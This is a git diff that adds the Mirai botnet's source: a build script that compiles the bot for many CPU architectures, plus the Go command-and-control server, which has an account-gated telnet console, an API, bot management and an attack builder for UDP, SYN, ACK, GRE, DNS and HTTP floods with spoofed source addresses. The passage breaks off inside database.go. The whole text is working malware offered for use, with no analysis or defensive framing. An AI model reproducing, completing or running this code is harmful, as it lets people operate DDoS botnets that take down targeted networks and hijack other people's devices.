0000000..51afd44 --- /dev/null +++ b/mirai/build.sh @@ -0,0 +1,63 @@ +#!/bin/bash + +FLAGS="" + +function compile_bot { + "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\" + "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr +} + +if [ $# == 2 ]; then + if [ "$2" == "telnet" ]; then + FLAGS="-DMIRAI_TELNET" + elif [ "$2" == "ssh" ]; then + FLAGS="-DMIRAI_SSH" + fi +else + echo "Missing build type." + echo "Usage: $0 " +fi + +if [ $# == 0 ]; then + echo "Usage: $0 " +elif [ "$1" == "release" ]; then + rm release/mirai.* + rm release/miraint.* + go build -o release/cnc cnc/*.go + compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH" + compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static" + compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static" + + compile_bot i586 miraint.x86 "-static" + compile_bot mips miraint.mips "-static" + compile_bot mipsel miraint.mpsl "-static" + compile_bot armv4l miraint.arm "-static" + compile_bot armv5l miraint.arm5n " " + compile_bot armv6l miraint.arm7 "-static" + compile_bot powerpc miraint.ppc "-static" + compile_bot sparc miraint.spc "-static" + compile_bot m68k miraint.m68k "-static" + compile_bot sh4 miraint.sh4 "-static" + + go build -o release/scanListen tools/scanListen.go +elif [ "$1" == "debug" ]; then + gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg + mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips + armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm + armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7 + sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4 + gcc -std=c99 tools/enc.c -g -o debug/enc + gcc -std=c99 tools/nogdb.c -g -o debug/nogdb + gcc -std=c99 tools/badbot.c -g -o debug/badbot + go build -o debug/cnc cnc/*.go + go build -o debug/scanListen tools/scanListen.go +else + echo "Unknown parameter $1: $0 " +fi diff --git a/mirai/cnc/admin.go b/mirai/cnc/admin.go new file mode 100755 index 0000000..28a2091 --- /dev/null +++ b/mirai/cnc/admin.go @@ -0,0 +1,269 @@ +package main + +import ( + "fmt" + "net" + "time" + "strings" + "io/ioutil" + "strconv" +) + +type Admin struct { + conn net.Conn +} + +func NewAdmin(conn net.Conn) *Admin { + return &Admin{conn} +} + +func (this *Admin) Handle() { + this.conn.Write([]byte("\033[?1049h")) + this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) + + defer func() { + this.conn.Write([]byte("\033[?1049l")) + }() + + headerb, err := ioutil.ReadFile("prompt.txt") + if err != nil { + return + } + + header := string(headerb) + this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) + + // Get username + this.conn.SetDeadline(time.Now().Add(60 * time.Second)) + this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) + username, err := this.ReadLine(false) + if err != nil { + return + } + + // Get password + this.conn.SetDeadline(time.Now().Add(60 * time.Second)) + this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m")) + password, err := this.ReadLine(true) + if err != nil { + return + } + + this.conn.SetDeadline(time.Now().Add(120 * time.Second)) + this.conn.Write([]byte("\r\n")) + spinBuf := []byte{'-', '\\', '|', '/'} + for i := 0; i < 15; i++ { + this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) + time.Sleep(time.Duration(300) * time.Millisecond) + } + + var loggedIn bool + var userInfo AccountInfo + if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn { + this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n")) + this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m")) + buf := make([]byte, 1) + this.conn.Read(buf) + return + } + + this.conn.Write([]byte("\r\n\033[0m")) + this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n")) + time.Sleep(250 * time.Millisecond) + this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n")) + time.Sleep(500 * time.Millisecond) + this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n")) + time.Sleep(150 * time.Millisecond) + this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n")) + for i := 0; i < 4; i++ { + time.Sleep(100 * time.Millisecond) + this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1))) + } + this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n")) + time.Sleep(1 * time.Second) + + go func() { + i := 0 + for { + var BotCount int + if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 { + BotCount = userInfo.maxBots + } else { + BotCount = clientList.Count() + } + + time.Sleep(time.Second) + if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil { + this.conn.Close() + break + } + i++ + if i % 60 == 0 { + this.conn.SetDeadline(time.Now().Add(120 * time.Second)) + } + } + }() + + this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n")) + for { + var botCatagory string + var botCount int + this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m")) + cmd, err := this.ReadLine(false) + if err != nil || cmd == "exit" || cmd == "quit" { + return + } + if cmd == "" { + continue + } + botCount = userInfo.maxBots + + if userInfo.admin == 1 && cmd == "adduser" { + this.conn.Write([]byte("Enter new username: ")) + new_un, err := this.ReadLine(false) + if err != nil { + return + } + this.conn.Write([]byte("Enter new password: ")) + new_pw, err := this.ReadLine(false) + if err != nil { + return + } + this.conn.Write([]byte("Enter wanted bot count (-1 for full net): ")) + max_bots_str, err := this.ReadLine(false) + if err != nil { + return + } + max_bots, err := strconv.Atoi(max_bots_str) + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count"))) + continue + } + this.conn.Write([]byte("Max attack duration (-1 for none): ")) + duration_str, err := this.ReadLine(false) + if err != nil { + return + } + duration, err := strconv.Atoi(duration_str) + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit"))) + continue + } + this.conn.Write([]byte("Cooldown time (0 for none): ")) + cooldown_str, err := this.ReadLine(false) + if err != nil { + return + } + cooldown, err := strconv.Atoi(cooldown_str) + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown"))) + continue + } + this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)")) + confirm, err := this.ReadLine(false) + if err != nil { + return + } + if confirm != "y" { + continue + } + if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured."))) + } else { + this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n")) + } + continue + } + if userInfo.admin == 1 && cmd == "botcount" { + m := clientList.Distribution() + for k, v := range m { + this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v))) + } + continue + } + if cmd[0] == '-' { + countSplit := strings.SplitN(cmd, " ", 2) + count := countSplit[0][1:] + botCount, err = strconv.Atoi(count) + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count))) + continue + } + if userInfo.maxBots != -1 && botCount > userInfo.maxBots { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n"))) + continue + } + cmd = countSplit[1] + } + if userInfo.admin == 1 && cmd[0] == '@' { + cataSplit := strings.SplitN(cmd, " ", 2) + botCatagory = cataSplit[0][1:] + cmd = cataSplit[1] + } + + atk, err := NewAttack(cmd, userInfo.admin) + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) + } else { + buf, err := atk.Build() + if err != nil { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) + } else { + if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can { + this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) + } else if !database.ContainsWhitelistedTargets(atk) { + clientList.QueueBuf(buf, botCount, botCatagory) + } else { + fmt.Println("Blocked attack by " + username + " to whitelisted prefix") + } + } + } + } +} + +func (this *Admin) ReadLine(masked bool) (string, error) { + buf := make([]byte, 1024) + bufPos := 0 + + for { + n, err := this.conn.Read(buf[bufPos:bufPos+1]) + if err != nil || n != 1 { + return "", err + } + if buf[bufPos] == '\xFF' { + n, err := this.conn.Read(buf[bufPos:bufPos+2]) + if err != nil || n != 2 { + return "", err + } + bufPos-- + } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' { + if bufPos > 0 { + this.conn.Write([]byte(string(buf[bufPos]))) + bufPos-- + } + bufPos-- + } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { + bufPos-- + } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { + this.conn.Write([]byte("\r\n")) + return string(buf[:bufPos]), nil + } else if buf[bufPos] == 0x03 { + this.conn.Write([]byte("^C\r\n")) + return "", nil + } else { + if buf[bufPos] == '\x1B' { + buf[bufPos] = '^'; + this.conn.Write([]byte(string(buf[bufPos]))) + bufPos++; + buf[bufPos] = '['; + this.conn.Write([]byte(string(buf[bufPos]))) + } else if masked { + this.conn.Write([]byte("*")) + } else { + this.conn.Write([]byte(string(buf[bufPos]))) + } + } + bufPos++ + } + return string(buf), nil +} diff --git a/mirai/cnc/api.go b/mirai/cnc/api.go new file mode 100755 index 0000000..ce3342a --- /dev/null +++ b/mirai/cnc/api.go @@ -0,0 +1,92 @@ +package main + +import ( + "net" + "time" + "strings" + "strconv" +) + +type Api struct { + conn net.Conn +} + +func NewApi(conn net.Conn) *Api { + return &Api{conn} +} + +func (this *Api) Handle() { + var botCount int + var apiKeyValid bool + var userInfo AccountInfo + + // Get command + this.conn.SetDeadline(time.Now().Add(60 * time.Second)) + cmd, err := this.ReadLine() + if err != nil { + this.conn.Write([]byte("ERR|Failed reading line\r\n")) + return + } + passwordSplit := strings.SplitN(cmd, "|", 2) + if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid { + this.conn.Write([]byte("ERR|API code invalid\r\n")) + return + } + botCount = userInfo.maxBots + cmd = passwordSplit[1] + if cmd[0] == '-' { + countSplit := strings.SplitN(cmd, " ", 2) + count := countSplit[0][1:] + botCount, err = strconv.Atoi(count) + if err != nil { + this.conn.Write([]byte("ERR|Failed parsing botcount\r\n")) + return + } + if userInfo.maxBots != -1 && botCount > userInfo.maxBots { + this.conn.Write([]byte("ERR|Specified bot count over limit\r\n")) + return + } + cmd = countSplit[1] + } + + atk, err := NewAttack(cmd, userInfo.admin) + if err != nil { + this.conn.Write([]byte("ERR|Failed parsing attack command\r\n")) + return + } + buf, err := atk.Build() + if err != nil { + this.conn.Write([]byte("ERR|An unknown error occurred\r\n")) + return + } + if database.ContainsWhitelistedTargets(atk) { + this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n")) + return + } + if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can { + this.conn.Write([]byte("ERR|Attack cannot be launched\r\n")) + return + } + + clientList.QueueBuf(buf, botCount, "") + this.conn.Write([]byte("OK\r\n")) +} + +func (this *Api) ReadLine() (string, error) { + buf := make([]byte, 1024) + bufPos := 0 + + for { + n, err := this.conn.Read(buf[bufPos:bufPos+1]) + if err != nil || n != 1 { + return "", err + } + if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { + bufPos-- + } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { + return string(buf[:bufPos]), nil + } + bufPos++ + } + return string(buf), nil +} diff --git a/mirai/cnc/attack.go b/mirai/cnc/attack.go new file mode 100755 index 0000000..76513cf --- /dev/null +++ b/mirai/cnc/attack.go @@ -0,0 +1,366 @@ +package main + +import ( + "fmt" + "strings" + "strconv" + "net" + "encoding/binary" + "errors" + "github.com/mattn/go-shellwords" +) + +type AttackInfo struct { + attackID uint8 + attackFlags []uint8 + attackDescription string +} + +type Attack struct { + Duration uint32 + Type uint8 + Targets map[uint32]uint8 // Prefix/netmask + Flags map[uint8]string // key=value +} + +type FlagInfo struct { + flagID uint8 + flagDescription string +} + +var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo { + "len": FlagInfo { + 0, + "Size of packet data, default is 512 bytes", + }, + "rand": FlagInfo { + 1, + "Randomize packet data content, default is 1 (yes)", + }, + "tos": FlagInfo { + 2, + "TOS field value in IP header, default is 0", + }, + "ident": FlagInfo { + 3, + "ID field value in IP header, default is random", + }, + "ttl": FlagInfo { + 4, + "TTL field in IP header, default is 255", + }, + "df": FlagInfo { + 5, + "Set the Dont-Fragment bit in IP header, default is 0 (no)", + }, + "sport": FlagInfo { + 6, + "Source port, default is random", + }, + "dport": FlagInfo { + 7, + "Destination port, default is random", + }, + "domain": FlagInfo { + 8, + "Domain name to attack", + }, + "dhid": FlagInfo { + 9, + "Domain name transaction ID, default is random", + }, + "urg": FlagInfo { + 11, + "Set the URG bit in IP header, default is 0 (no)", + }, + "ack": FlagInfo { + 12, + "Set the ACK bit in IP header, default is 0 (no) except for ACK flood", + }, + "psh": FlagInfo { + 13, + "Set the PSH bit in IP header, default is 0 (no)", + }, + "rst": FlagInfo { + 14, + "Set the RST bit in IP header, default is 0 (no)", + }, + "syn": FlagInfo { + 15, + "Set the ACK bit in IP header, default is 0 (no) except for SYN flood", + }, + "fin": FlagInfo { + 16, + "Set the FIN bit in IP header, default is 0 (no)", + }, + "seqnum": FlagInfo { + 17, + "Sequence number value in TCP header, default is random", + }, + "acknum": FlagInfo { + 18, + "Ack number value in TCP header, default is random", + }, + "gcip": FlagInfo { + 19, + "Set internal IP to destination ip, default is 0 (no)", + }, + "method": FlagInfo { + 20, + "HTTP method name, default is get", + }, + "postdata": FlagInfo { + 21, + "POST data, default is empty/none", + }, + "path": FlagInfo { + 22, + "HTTP path, default is /", + }, + /*"ssl": FlagInfo { + 23, + "Use HTTPS/SSL" + }, + */ + "conns": FlagInfo { + 24, + "Number of connections", + }, + "source": FlagInfo { + 25, + "Source IP address, 255.255.255.255 for random", + }, +} + +var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo { + "udp": AttackInfo { + 0, + []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 }, + "UDP flood", + }, + "vse": AttackInfo { + 1, + []uint8 { 2, 3, 4, 5, 6, 7 }, + "Valve source engine specific flood", + }, + "dns": AttackInfo { + 2, + []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 }, + "DNS resolver flood using the targets domain, input IP is ignored", + }, + "syn": AttackInfo { + 3, + []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, + "SYN flood", + }, + "ack": AttackInfo { + 4, + []uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, + "ACK flood", + }, + "stomp": AttackInfo { + 5, + []uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 }, + "TCP stomp flood", + }, + "greip": AttackInfo { + 6, + []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, + "GRE IP flood", + }, + "greeth": AttackInfo { + 7, + []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, + "GRE Ethernet flood", + }, + "udpplain": AttackInfo { + 9, + []uint8 {0, 1, 7}, + "UDP flood with less options. optimized for higher PPS", + }, + "http": AttackInfo { + 10, + []uint8 {8, 7, 20, 21, 22, 24}, + "HTTP flood", + }, +} + +func uint8InSlice(a uint8, list []uint8) bool { + for _, b := range list { + if b == a { + return true + } + } + return false +} + +func NewAttack(str string, admin int) (*Attack, error) { + atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)} + args, _ := shellwords.Parse(str) + + var atkInfo AttackInfo + // Parse attack name + if len(args) == 0 { + return nil, errors.New("Must specify an attack name") + } else { + if args[0] == "?" { + validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m" + for cmdName, atkInfo := range attackInfoLookup { + validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n" + } + return nil, errors.New(validCmdList) + } + var exists bool + atkInfo, exists = attackInfoLookup[args[0]] + if !exists { + return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0])) + } + atk.Type = atkInfo.attackID + args = args[1:] + } + + // Parse targets + if len(args) == 0 { + return nil, errors.New("Must specify prefix/netmask as targets") + } else { + if args[0] == "?" { + return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29") + } + cidrArgs := strings.Split(args[0], ",") + if len(cidrArgs) > 255 { + return nil, errors.New("Cannot specify more than 255 targets in a single attack!") + } + for _,cidr := range cidrArgs { + prefix := "" + netmask := uint8(32) + cidrInfo := strings.Split(cidr, "/") + if len(cidrInfo) == 0 { + return nil, errors.New("Blank target specified!") + } + prefix = cidrInfo[0] + if len(cidrInfo) == 2 { + netmaskTmp, err := strconv.Atoi(cidrInfo[1]) + if err != nil || netmask > 32 || netmask < 0 { + return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr)) + } + netmask = uint8(netmaskTmp) + } else if len(cidrInfo) > 2 { + return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr)) + } + + ip := net.ParseIP(prefix) + if ip == nil { + return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr)) + } + atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask + } + args = args[1:] + } + + // Parse attack duration time + if len(args) == 0 { + return nil, errors.New("Must specify an attack duration") + } else { + if args[0] == "?" { + return nil, errors.New("\033[37;1mDuration of the attack, in seconds") + } + duration, err := strconv.Atoi(args[0]) + if err != nil || duration == 0 || duration > 3600 { + return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0])) + } + atk.Duration = uint32(duration) + args = args[1:] + } + + // Parse flags + for len(args) > 0 { + if args[0] == "?" { + validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n" + for _, flagID := range atkInfo.attackFlags { + for flagName, flagInfo := range flagInfoLookup { + if flagID == flagInfo.flagID { + validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n" + break + } + } + } + validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n" + validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535" + return nil, errors.New(validFlags) + } + flagSplit := strings.SplitN(args[0], "=", 2) + if len(flagSplit) != 2 { + return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0])) + } + flagInfo, exists := flagInfoLookup[flagSplit[0]] + if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) { + return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0])) + } + if flagSplit[1][0] == '"' { + flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1] + fmt.Println(flagSplit[1]) + } + if flagSplit[1] == "true" { + flagSplit[1] = "1" + } else if flagSplit[1] == "false" { + flagSplit[1] = "0" + } + atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1] + args = args[1:] + } + if len(atk.Flags) > 255 { + return nil, errors.New("Cannot have more than 255 flags") + } + + return atk, nil +} + +func (this *Attack) Build() ([]byte, error) { + buf := make([]byte, 0) + var tmp []byte + + // Add in attack duration + tmp = make([]byte, 4) + binary.BigEndian.PutUint32(tmp, this.Duration) + buf = append(buf, tmp...) + + // Add in attack type + buf = append(buf, byte(this.Type)) + + // Send number of targets + buf = append(buf, byte(len(this.Targets))) + + // Send targets + for prefix,netmask := range this.Targets { + tmp = make([]byte, 5) + binary.BigEndian.PutUint32(tmp, prefix) + tmp[4] = byte(netmask) + buf = append(buf, tmp...) + } + + // Send number of flags + buf = append(buf, byte(len(this.Flags))) + + // Send flags + for key,val := range this.Flags { + tmp = make([]byte, 2) + tmp[0] = key + strbuf := []byte(val) + if len(strbuf) > 255 { + return nil, errors.New("Flag value cannot be more than 255 bytes!") + } + tmp[1] = uint8(len(strbuf)) + tmp = append(tmp, strbuf...) + buf = append(buf, tmp...) + } + + // Specify the total length + if len(buf) > 4096 { + return nil, errors.New("Max buffer is 4096") + } + tmp = make([]byte, 2) + binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2)) + buf = append(tmp, buf...) + + return buf, nil +} diff --git a/mirai/cnc/bot.go b/mirai/cnc/bot.go new file mode 100755 index 0000000..488e4da --- /dev/null +++ b/mirai/cnc/bot.go @@ -0,0 +1,37 @@ +package main + +import ( + "net" + "time" +) + +type Bot struct { + uid int + conn net.Conn + version byte + source string +} + +func NewBot(conn net.Conn, version byte, source string) *Bot { + return &Bot{-1, conn, version, source} +} + +func (this *Bot) Handle() { + clientList.AddClient(this) + defer clientList.DelClient(this) + + buf := make([]byte, 2) + for { + this.conn.SetDeadline(time.Now().Add(180 * time.Second)) + if n,err := this.conn.Read(buf); err != nil || n != len(buf) { + return + } + if n,err := this.conn.Write(buf); err != nil || n != len(buf) { + return + } + } +} + +func (this *Bot) QueueBuf(buf []byte) { + this.conn.Write(buf) +} diff --git a/mirai/cnc/clientList.go b/mirai/cnc/clientList.go new file mode 100755 index 0000000..2451d97 --- /dev/null +++ b/mirai/cnc/clientList.go @@ -0,0 +1,130 @@ +package main + +import ( + "time" + "math/rand" + "sync" + "fmt" +) + +type AttackSend struct { + buf []byte + count int + botCata string +} + +type ClientList struct { + uid int + count int + clients map[int]*Bot + addQueue chan *Bot + delQueue chan *Bot + atkQueue chan *AttackSend + totalCount chan int + cntView chan int + distViewReq chan int + distViewRes chan map[string]int + cntMutex *sync.Mutex +} + +func NewClientList() *ClientList { + c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}} + go c.worker() + go c.fastCountWorker() + return c +} + +func (this *ClientList) Count() int { + this.cntMutex.Lock() + defer this.cntMutex.Unlock() + + this.cntView <- 0 + return <-this.cntView +} + +func (this *ClientList) Distribution() map[string]int { + this.cntMutex.Lock() + defer this.cntMutex.Unlock() + this.distViewReq <- 0 + return <-this.distViewRes +} + +func (this *ClientList) AddClient(c *Bot) { + this.addQueue <- c +} + +func (this *ClientList) DelClient(c *Bot) { + this.delQueue <- c + fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr()) +} + +func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) { + attack := &AttackSend{buf, maxbots, botCata} + this.atkQueue <- attack +} + +func (this *ClientList) fastCountWorker() { + for { + select { + case delta := <-this.totalCount: + this.count += delta + break + case <-this.cntView: + this.cntView <- this.count + break + } + } +} + +func (this *ClientList) worker() { + rand.Seed(time.Now().UTC().UnixNano()) + + for { + select { + case add := <-this.addQueue: + this.totalCount <- 1 + this.uid++ + add.uid = this.uid + this.clients[add.uid] = add + break + case del := <-this.delQueue: + this.totalCount <- -1 + delete(this.clients, del.uid) + break + case atk := <-this.atkQueue: + if atk.count == -1 { + for _,v := range this.clients { + if atk.botCata == "" || atk.botCata == v.source { + v.QueueBuf(atk.buf) + } + } + } else { + var count int + for _, v := range this.clients { + if count > atk.count { + break + } + if atk.botCata == "" || atk.botCata == v.source { + v.QueueBuf(atk.buf) + count++ + } + } + } + break + case <-this.cntView: + this.cntView <- this.count + break + case <-this.distViewReq: + res := make(map[string]int) + for _,v := range this.clients { + if ok,_ := res[v.source]; ok > 0 { + res[v.source]++ + } else { + res[v.source] = 1 + } + } + this.distViewRes <- res + } + } +} + diff --git a/mirai/cnc/constants.go b/mirai/cnc/constants.go new file mode 100755 index 0000000..724d0ca --- /dev/null +++ b/mirai/cnc/constants.go @@ -0,0 +1,40 @@ +package main + +const MiraiPrompt = ` + ܱ²ß²±Ü ܱ²²±Ü ܱ² +ß²±Ü ܱ²ß²±Ü ܰ±² +²Ûܱ²ß²±Ü ܱ²² +±Ü ܱ²Ü°±²²Û²±°°±²² + °°±±° °°±±°°°°±± +°°°°±±°°°°±°°± +±°°°°±±°°°°±° +°±°°± + ±°°±°°±°°±° ±° +°°° ±°°±° ±°° +±°°±° ±°°±° ±° +°±°°±°° + ²±°²±±²±°²±±²±°²±±²±°²±±²±° +²±°²±±²±°²±±²±°²±°²±° + Û²±ÛÛ²Û²±Û²²Û²±Û²± +Þ²²Ý Û²°Þ²²Ý Û² +±Û²²Û²±Û²°Û²° + ÛÛ²²ÛÛ ÛÛ²ÜÛÛ²ÛÛÛ  +²Û²ßÛ²ÛÜ ÛÛ²ÜÜßÛ +²ÛÜ ÛÛ²ÜÛÛ²ÛÛÛ ÛÛ +²ÜÜ ÛÛÛ + ²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²ßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²ÛÛÛ + ²Û²²Û² ²ÛÛ ÛÛ² ²ÛÛÛÛ² ÛÛ²ÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²²ÛÛ + ±Û²²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²±²Û ²Û² ²Û± ²Û² ²Û² ²Û² +²Û² + ±Û±±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û± +±Û± + °Û°°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛßÛÛÜÛÛß °Û° °Û° °Û° °Û° +°Û° + + SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE +A + NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET! + 2.1 GIGZ ONLINEú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY + +ANSI : THE MASKED PIRATEúIMPERIAL +` \ No newline at end of file diff --git a/mirai/cnc/database.go b/mirai/cnc/database.go new file mode 100755 index 0000000..d50053d --- /dev/null +++ b/mirai/cnc/database.go @@ -0,0 +1,145 @@ +package main + +import ( + "database/sql" + "fmt" + "net" + "encoding/binary" + _ "github.com/go-sql-driver/mysql" + "time" + "errors" +) + +type Database struct { + db *sql.DB +} + +type AccountInfo struct { + username string + maxBots int + admin int +} + +func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database { + db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName)) + if err != nil { + fmt.Println(err) + } + fmt.Println("Mysql DB opened") + return &Database{db} +} + +func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) { + rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password) + if err != nil { + fmt.Println(err) + return false, AccountInfo{"", 0, 0} + } + defer rows.Close() + if !rows.Next() { + return false, AccountInfo{"", 0, 0} + } + var accInfo AccountInfo + rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) + return true, accInfo +} + +func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool { + rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username) + if err != nil { + fmt.Println(err) + return false + } + if rows.Next() { + return false + } + this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration) + return true +} + +func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool { + rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist") + if err != nil { + fmt.Println(err) + return false + } + defer 